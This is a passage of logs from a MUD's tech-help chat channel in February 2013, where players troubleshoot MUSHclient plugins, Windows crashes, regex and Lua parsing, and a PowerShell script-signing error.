T3/r7/2013-02-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless you had a pirated key from before that has been blocked.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Mushambo Tech: No it was a legitimate key...same version of windows (XP sp3) and standard edition office (made sure)
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Mushambo Tech: And yes, I'm aware there's OpenOffice and LibreOffice, but they really aren't interchangeable in terms of formatting :-/
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ontuct Tech: so just reformat things
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: retail/oem difference maybe
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Mushambo Tech: ahh perhaps...I'll try the only other image there
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: don't try the other image, check your version and download the correct one
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Beer Cooler Tech: anyone know what cause Timer function "init_plugin" not found or had a previous error.?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Sakata Tech: Okay, so I come on and now my search & destroy text is in red O_o
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Sakata Tech: How can I get it back to offwhite?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: How do I get rid of the timestamp on the left of every line, I am using mush client
T3/r7/2013-02-12.txt.gz:{chan ch=tech}RedRain Tech: right click?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Turie Tech: In the communication log?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: no main windows it says 17:34:39 > 
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: and it is gray
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Turie Tech: type timestamp
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: not a command
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Turie Tech: Are you using Aard-MUSH?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: yes the most recent version, just overwrote everything except my aardwolf.mcl
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Turie Tech: Hrmmm....
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Vesrai Tech: even your aardwolf.db file?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: yea, lost all mapper data I did that on accident will switch to my backup later
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Turie Tech: aardreset will reset the layout, but timestamp in the main screen is odd.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: yea I just found    timestamp_input="%H:%M:%S $ " timestamp_notes="%H:%M:%S ! "  timestamp_output="%H:%M:%S &gt
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: in my aardwolf.mcl removed it and am going to restart
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: that did it
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: no idea how that got there, thanks for the help
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: another wierd thing I have been noticing, if I disconnect to the mud I auto log back in, I have auto login setup but never told it to log back in on disconnect
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: any ideias why gammon inventory plugins doesn't work correctly?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Vesrai Tech: get bast's, so far his is the most stable for an inventory miniwindow.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: Thanks
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Getsuko Tech: But it's not perfect -- mine crashes somewhat often
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: I'll try it...just instaled cp progression from gammon
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Vesrai Tech: mine does to, but out of Bast's, Gammon's and another one i found made by Blainer. Bast's is the best.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: nod*
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: thanks
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Ninkano Tech: I got this error on bast's eq plugin "Trigger function "invdetails_redirect" not found or had a previous error." any ideias?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Cornor Cerashor Tech: how can i set ; sothat it doesnt go to the next line on an alias?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Getsuko Tech: use two of them next to each other
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Cornor Cerashor Tech: would that make a diffrence when using it in mapper?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: Any ideas what would cause spontaneous restarts in an idling computer? (like 12 times in the last 24 hours, but never when using the computer)
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: windows 7 machine btw. :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Mokg Tech: windows update?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: Mine's better.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: conductive dust and humidity
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Daloran Tech: Windows update?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: perhaps blow the dust out of the powersupply and the computer 
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: not windows update. I have that turned off.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: random guess, but maybe psu voltage drops too low when idle
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: I doubt humidity is a problem here either. We have almost none in winter. :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: little insects in the psu
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: I've asked tech to do a complete reformat and reinstall on it. If that doesn't fix it, they can at least stop blaming me. :P (it's a new/used computer that I got two weeks ago and it gradually restarts more and more often)
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: Redryn: any idea how to check that?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: possibly bad ram
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: not really, i suck at this techy stuff.. i always ask here when i have problems :p
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: but if you have a spare psu you could swap it in and see if it solves the problem
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: the tech should be able to check that out as a possibility, Jaenelle.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: Airmeith: hmmm. It's got 8 gb since it was previously a rendering machine. *shiver* lots to check.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: then pull out one stick and see if it stops doing it.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: airmeith: so far the only thing they have tried is 'turn off restart on error' they hadn't even bothered to check the event log. :P Our IT r sux here. I've started billing them time in hopes that they'll fix my machine that I"m not allowed to touch the hardware on myself. :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: my uninformed opinion is that ram shouldn't be a problem, because then you'd see crashes even while using
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: may be overheating as more and more dust (and tar precipitaion) collects inside the secondhand computer
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: Zade: again, that would cause crashes even when using the computer then.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: of the 65 crashes in the last 7 days, only one has been while I was at my computer. And I spend a good 8-10 hours a day in front of it. :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: nonsmoker
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: is the usb modern or ancient
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: a decade ago, usb hardware/software used to freeze the usb device(s) when the computer was either idle or sometimes when the delete option was used in the browser
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Krache Tech: Would it be possible to make a plug-in that would allow me to enter, say a room or mob name and it would autowalk me to that target?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: there's damn near one built into the mapper as it is
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Krache Tech: What do you mean? I know if you mouse over a room it shows info, is that it?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: as though the the usb went to sleep and clobbered some area that was required to permit the compuer to wak up
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: type mapper help
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: mapper help should have the details, I think it's mapper search and mapper goto that'll do what you want
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Krache Tech: wow Did not know there was that much to the mapper
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Mokg Tech: mapper find xxx
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Tech: Krache stares at the sky.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Jaenelle Tech: mapper find 'roomname' but without the quotes. then you can click the name to walk there if I remember correctly.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: check to see if Daily Maintenance (which likes idle) is attempting to run saomething that may be causing the restart
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: idle is when things go to sleep (Pwr-Management) or when Maintenance likes to run  (even idle hdrives (or media storage) may be pwrd-down off when there is no disk-activity)
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Zade Tech: so even kbd-activity at the computer may yet permit the hdrive to pwr-down if there was no recent disk-activity
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Scrump Tech: Does the Mushclient still work on Windows 7 or 8?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I'm using it on win7
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I know others are using it on win8
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Scrump Tech: Alright, thanks :)
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it's actually one of the most stable clients on those platforms
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: works fine on win7 for me
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: cmud crashed often for me
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that's because cmud's programmer just puts patches over patches rather than actually writing decent code
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: All software is patches over patches...
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: one of my clannies (a programmer) reverse-engineered the code to repair his and spent about 50 hours rewriting major portions of it to make it work properly.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Reverse engineering machine code is just silly
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: And a 50 hour bugfix under such conditions is relatively minor
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Scrump Tech: So, which would be better at this point, win7 or win8?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: however he did it, it was an awful mess--bad pointers and arrays
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: I keep hearing bad things about win8. All anyone can tell me about it is excuses.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Scrump, that depends on your personal preference as far as the OS. Win7 is a fairly natural evolution of the XP/Vista line. Win8 gets rid of the start menu in favor of tiles on the desktop. I personally like Win7 for an actual computer--Win8 reminds me more of a tablet interface.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I have flisties who love Win8 and some who are rabidly opposed to it to the point of looking into Linux distros.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: i was under the impression you could toggle an option and get back the start menu
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: or not, but see http://www.extremetech.com/computing/141702-how-to-bring-the-start-menu-and-button-back-to-windows-8
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Not sure why you would get a new OS only to hack it backwards :-P Stick with the old one
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, but it shouldn't require something like that to have the option, Redryn
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Tech: Redryn shrugs helplessly.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: nah i was under the impression it was an option
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: so i googled and found out it wasn't, but a ton of stuff bringing it back
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: First rule of windows is skip a release
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I know, it's Microsoft, and they're busy trying to make everything simpler for the idiots
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Tech: Redryn snickers with Vakieh about their shared secret.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods at Vakieh.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Win9 is going to be sweet though
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: yea
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Redryn Tech: i've been doing 3.1 -> 98 -> XP -> 7
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I don't know about that, still looks pretty similar.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: and the rumor about only being able to install software from a Microsoft-controlled app store...if that's the case, I won't be using Windows.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Windows Blue != Win9
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: okay :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: this is gonna be fun 
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: 458501689 is my portal, I can type look 458501689 and I see A small dark portal lays here., but when I type put 458501689 bag it tells me: You don't see a 470577497 bag here.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: Any ideas?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Mendaloth Tech: turn on echocommands suspect an alias is inerfering
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Mendaloth Tech: whats the mud recieving from you?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: You entered:: put 458501689 470577497 portals
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: 470577497 is my portals bag...
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: I am typing put 458501689  portals
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: You have a dodgy substitution
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: where do I find it?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Look? Only person who added it would be you
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Vakieh Tech: Could be alias or plugin
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sakata Tech: I don't see it anywhere :(
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: test
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: test on gt
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i have win xp iso on my flash how do i run setup on a blank harddrive?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: reboot, go bios and set the boot order, set 1st to your flash
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: ok thanks
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: There doesn't seem to be a way to insert a bunch of text at the top of a file using sed, hmm.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Anyone know how I can do it? i// doesn't seem to accept addresses..
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Cizra Tech: I think it's sed '1i/bla'
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Cizra Tech: Oh, actually '1ibla'
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'll try that, thanks.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I tried a /1/s//text/ hack :P
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Yours works, thanks Cizra :)
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: So slashes are not required for addresses all the time, huh.
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Summoner Yuna Tech: So the latest version of iTunes doesn't show you how many items you've highlighted/chosen/whatever it's called for some reason (previous versions did). Is there a way to get iTunes 11.0.1.12 to do that or is the feature just gone for absolutely no good reason whatsoever?
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Turie Tech: Apple has no reason since it is basically the devil!
T3/r7/2013-02-13.txt.gz:{chan ch=tech}Aldeas Tech: How do I go about reloading a plugins window to it's orginal spot?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Altere Tech: i'm not sure what I changed in mushclient but now I'm seeing things like {invmon}2,710858203,-1,13
T3/r7/2013-02-14.txt.gz:{chan ch=tech}BobTheGreat Tech: It might be a missing/malfunctioning plugin. I'm not sure which one, but if they annoy you you can turn them off for the time being with 'invmon'
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Altere Tech: thanks, been going through plugins but cant seem to find it
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: okay how would i split up "       4,999,959       749,992,050" into 2 divverent variables and cleaning away whitespaces
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Jhav Tech: \s+([0-9,]+)\s+([0-9,]+) ... ish.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: With regex. But now you have 2 problems
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: I wonder, can you discard character sets from a group, but still match? Hrm...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Would be interesting to try and match the , but discard it also - save the trouble of iterating over the group to remove the commas - assuming your str2int can't handle them, that is
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: that worked a treat
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't think that would make sense
T3/r7/2013-02-14.txt.gz:{chan ch=tech}CeriQ Tech: How about str.Trim().Split(new char[] { ' ' }); ?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Jhav Tech: Each, just use a replace to get rid of them.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}CeriQ Tech: Then again, I don't even know what language we're working with here. :D
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Jhav Tech: The commas, that is.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: lua
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: mushclient lua to be exact
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Oh, talking neutral here, totally unrelated to but inspired by the original q
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: but anyway jhav solved my problem
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Thinking efficiency of the code itself - though tbh I have no freaking idea how regex works under the hood, so I might be shaving 0.1 off an operation where the regex takes 100, who knows
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Jhav Tech: Did I?  I'll take your word for it.  I make no guarentees that anything I say at 3:30 AM is at all accurate or useful.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: It isn't anchored, but the regex looks solid to me aside from that
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: im just makeing something simply to calculate how many mobs to be killed till hour double
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it should be anchored, otherwise it'll match any two numbers separated by any number of spaces
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Prefix the whole thing with '^Mob Deaths       :' and you will be fine
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: im just grabbing numbers from gamestat 5
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: ^Mob Deaths       \:\s+([0-9,]+)\s+([0-9,]+)$
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ^Mob\sDeaths\s+\:\s+([0-9,]+)\s+([0-9,]+)$
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: I don't think : has special meaning?, might not like the extra \
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: http://viktor.juhe.ee/regex.pdf
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: I use http://www.regular-expressions.info/reference.html
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hmm, no, colon doesn't need escape
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Not sure how it handles reduncant escapes, but prob better not to test it
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Or at least, not test it in used code :-P
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: i put it onto and it auto regex it, then i put in the \s+([0-9,]+)\s+([0-9,]+) to capture the variables
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Seriously though, muds are the foremost expert repositories on regex that I have found in many years of study :-) Tis awesomesauce
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i wouldn't auto anything. it seems it's fine with spaces being spaces and all, but i'd stick with pure regex for pattern matching. no surprises
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: regex and ai research :P
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: well whatever it does it works
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Nah, microtraders for AI
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Those guys are NUTS
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: and how did such a question set this all off...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: This is tech... we like to tech here
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, i know, but you know, bots
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Oh, I know bots :-P Yet to see a particularly smart one though
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, good patterns might save your bot from a nuke
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Jhav Tech: You've been talking to my chatbot this entire time!
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Tech: Jhav throws back his head and cackles with insane glee!
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: jhav is still around, he's good ;)
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: I might hook up to cleverbot on April 1, see how many people catch on :-P
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have eliza on fb chat when i'm afk
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i wish i could have cleverbot there. or any learning bot that could learn my speech patterns
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Q: How do I get out of the lower planes? A: What if I told you Santa isn't real?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Rusk Tech: telling me that would send you to the lower planes vakieh
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Q: Can I get a cr? A: Sure.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Q: I am at Kingsholm. A: Where is your home?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: That was backwards, probably should have been V: and CB: ...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: And last but best one: V: TP for sale, 3.1m. CB: The saying is I think therefore I am that is the cogito.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: wut.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: is there a reason why MOBA = tonumber(GetVariable("Mobs_Killed")) would be getting me a nill value, and thinking that its a global variable when ina loacl do statement
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: local*
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: hello?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: tonumber doesn't like , iirc
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: And lua declares all variable global unless initially prefixed with the local keyword
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: it keeps comming up with nill value
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: nonumber has never given me this problem before
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: Because tonumber is returning nil
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: tonumber*
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: This is after grepping [0-9,] right?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Vakieh Tech: You need to strip the ,
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Remarto Tech: oh
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Kirek Tech: is anyone able to help me get client working, have not played in years, trying to get back into game
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Ontuct Tech: if you haven't played in years couldn't you download the latest version and start anew?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Bast Tech: and which client?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Kirek Tech: one from aard home page, worked short bit yesterday, crashed, now says can't locate some file
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Bast Tech: which file does it say it can't locate?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Kirek Tech: let me try again, brb
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: god damn, regex crossword - http://www.coinheist.com/rubik/a_regular_crossword/grid.pdf
T3/r7/2013-02-14.txt.gz:{chan ch=tech}CeriQ Tech: hmm. nope
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm going to give it a shot
T3/r7/2013-02-14.txt.gz:{chan ch=tech}CeriQ Tech: In the words of a wise man: I'm getting too hold for this sh*t.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Which matches shirt, short, shout, shoot, shot, ...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Assuming it searched only within the English language terms suitable for the channel.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no it doesn't. matches 'st' 'sht', 'shht' etc
T3/r7/2013-02-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: these aren't all real words, dagnir :P
T3/r7/2013-02-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: that's gonna make it pretty tough :P
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Dagnir: true, it would have had to be sh.*t for mine to be correct.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: regex doesn't care. it matches what it's told
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sh.+t would have been better for your purposes
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: The difference is sht!
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have experience with powershell - i am completely stumped on something
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Gnarcyon Tech: what are you stumped on
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Just keep going, someone else will chime in...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: executing a script works using powershell -FILE \\servername\location.ps1
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: executing a script using powershell -FILE \\fqdn\location.ps1  throws a signiture hash error
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: exact same file - hash is verified / execution policy is remote signed
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: but works with server name but not full fqdn
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Doc Holliday Tech: powershell 2.0
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Dupian Tech: is anyone aware of an aardwolf client for the mac? i'm using mushclient under vmware now but it's a  bit of a pain to run windows every time
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Dupian Tech: thanks
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Dupian Tech: the options for the mac don't look great
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Dupian Tech: i think i'll stick with mushclient for now
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Kirek Tech: how do you set up a hotkey for the client
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: Is sharptrack plugin just 1 add?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Used to be, so i'd assume it still is.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: hmm ok.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: 2 parts of it im not sure on
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: - Allow DLL's to be loaded: TICK
